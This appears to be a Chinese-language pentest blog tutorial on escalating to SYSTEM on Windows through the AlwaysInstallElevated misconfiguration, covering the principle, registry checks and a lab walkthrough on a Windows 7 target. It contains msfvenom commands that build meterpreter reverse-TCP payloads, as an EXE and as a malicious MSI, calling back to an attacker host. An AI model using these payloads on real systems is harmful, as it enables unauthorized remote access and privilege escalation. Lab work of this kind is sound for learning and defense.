AlwaysInstallElevated提权

一、漏洞原理

如果系统管理员错误地同时开启了HKLM和HKCU的AlwaysInstallElevated = 1，那么：

任意用户（包括低权限普通用户） 可以运行msiexec.exe /i malicious.msi

因为策略允许以SYSTEM权限安装MSI， 所以msiexec.exe会把这个恶意MSI包在SYSTEM权限下执行

攻击者只需构造一个恶意MSI包，在安装脚本中放置任意代码（例如写入管理员账户、启动反弹shell、执行木马）

结果：普通用户→SYSTEM提权

二、漏洞检测

组策略验证

搭建环境，win+r运行gpedit.msc

计算机配置 –> 管理模板 –> Windows 组件 –> Windows Installer

点击“始终以提升的权限进行安装”，选择“已启用”，点击确定即可

图片

注册表查询

实战中只需要查看注册表中的两项值是否为0x1 , 也就是开启状态 , 如果是开启的 , 说明存在错误配置提权漏洞

reg query HKEY_LOCAL_MACHINEsoftwarepoliciesmicrosoftwindowsinstaller
reg query HKEY_CURRENT_USERsoftwarepoliciesmicrosoftwindowsinstaller

三、实战验证

生成恶意MSI包

使用MSF生成木马远程连接

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.41.156 LPORT=8001 -f
exe > AlwaysInstallElevated.exe

搭建HTTP服务供靶机下载

开启HTTP服务

靶机访问下载

攻击机开启监听

使用监听模块

配好参数开始监听

Windows 7运行上线

bg放后台

靶机执行恶意MSI包

生成一个msi文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.41.156 lport=8445 -f
msi > AlwaysInstallElevated.msi

更改端口运行

靶机下载上线（或者MSF直接传过去运行）

成功提权至SYSTEM

上线成功

SYSTEM权限

-END-

---

• 分类： 内网
• 标签： 无标签